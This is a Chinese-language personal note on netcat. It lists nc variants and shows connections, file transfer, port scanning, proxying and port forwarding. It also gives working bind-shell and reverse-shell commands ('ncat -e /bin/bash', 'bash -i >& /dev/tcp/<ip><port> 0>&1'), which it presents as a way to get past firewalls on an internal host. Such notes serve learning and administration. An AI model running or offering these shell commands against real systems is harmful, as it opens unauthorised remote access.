netcat Tips

nc 是Linux系统中非常强大的网络工具,可以轻松实现对主机的嗅探和简单但强大的C&C服务器

nc版本

nc有多个不同的版本:

  1. netcat-tradional。最早的版本,Kali Linux中默认的版本。有 -e 选项用作反弹shell。12
  2. netcat-openbsd。Ubuntu中默认的版本,没有-e选项。1 2
  3. ncat. Nmap作者重写的版本,Centos、RedHat默认版本,已经集成在nmap中。1 2
  4. socat. 支持SSL/TLS,与原版很大不同。2
  5. cryptcat. 使用twofish加密传输。2
  6. sbd. Secure BackDoor. 带加密。2
  7. netrw。针对文件传输做了加强,带文件校验以防止篡改。2

常见应用场景

建立连接 1 2

服务器端

-l 监听模式。第一种nc版本需要启用-p来指定监听端口。

ncat -l <port>

客户端

ncat <ip> <port>

连接成功后,两端可以进行进行文字交流。此时连接是基于TCP协议,如果需要UDP协议,可以在两端都使用-u参数。

基本方式 1 2

-e 将传入信息发送到指定的程序中执行

以下命令将监听本地端口,将收到的信息发送到/bin/bash中执行。客户端只需要按以往方式连接即可将指令发送到远端,同时获取执行结果

ncat -l -e /bin/bash <port>

持续监听 1

-k 客户端断开时,服务器继续运行

ncat -lk -e /bin/bash <port>

这种方式的最大问题是,服务器往往处于内网中,防火墙默认拒绝所有外来连接。所以实用性并不高。

反弹shell 1 2

将服务器和客户端的角色调转,发送命令者为服务器,接收命令者定期连接指定地址和端口来接收命令。这样可以一定程度规避防火墙的默认策略。

外网命令发起者

ncat -l <port>

内网命令接受者

-w 等待连接的时间(秒)

ncat -w 10 -e /bin/bash <ip/domain> <port>

不支持e选项的反弹shell

外网命令发起者

如果是ncat

ncat -l <port>

如果是第二类nc(不带-e选项的版本)

nc -lp <port>

内网命令接收端

bash -i >& /dev/tcp/<ip><port> 0>&1

上述命令将bash和tcp连接关联起来[[201911051527]]

文件传输 1 2

文件接收端

ncat -l 2333 > hello.txt

文件发送端

ncat www.sqlsec.com 2333 < hello.txt

或者采用相反的方式也可以传输

文件接收端

ncat www.sqlsec.com 2333 > hello.txt

文件发送端

ncat -l 2333 < hello.txt

这里ncat只是建立连接,发送和接收全部在于重定向的方向。

如果使用dd命令,可以直接实现远程复制磁盘。由于nc没有应用层协议,所以在大量文件处理传输时相比应用层协议由巨大优势2

端口扫描1 2

只有原始版本的nc支持扫描(上文提到的第一种nc)。也可以用于判断某个端口是否可达。

-n 使用ip地址,不用DNS -z 只扫描而不发送任何数据

nc -n -z 10.211.55.14 20-25
nc -n -z 10.211.55.14 80

如果需要测试UDP协议,要指定-u选项2。-w可以设定超时时间,否则需要长时间等待2

使用代理服务器2

openbsd版本nc可以使用-x和-X来设定代理服务器来进行连接,其中-X指定代理服务器类型,-x表明IP地址和端口。

nc -X 5 -x 127.0.0.1:9050 -q 3 -v program-think.blogspot.com 443

端口转发2

mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

这样本地的1234和5678端口的数据就能实现互通。


  1. [[nc命令学习记录]] ↩︎

  2. [[扫盲 netcat(网猫)的 N 种用法——从“网络诊断”到“系统入侵” @ 编程随想的博客]] ↩︎